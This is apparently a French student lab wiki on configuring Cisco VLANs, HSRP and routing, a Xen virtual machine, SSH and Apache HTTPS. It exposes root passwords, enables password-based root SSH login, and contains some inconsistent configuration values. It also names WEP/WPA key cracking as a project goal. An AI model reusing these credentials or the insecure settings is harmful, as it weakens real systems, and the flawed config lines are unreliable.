======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51579</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51579"/>
				<updated>2019-12-07T02:49:16Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Cryptage de fichiers */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
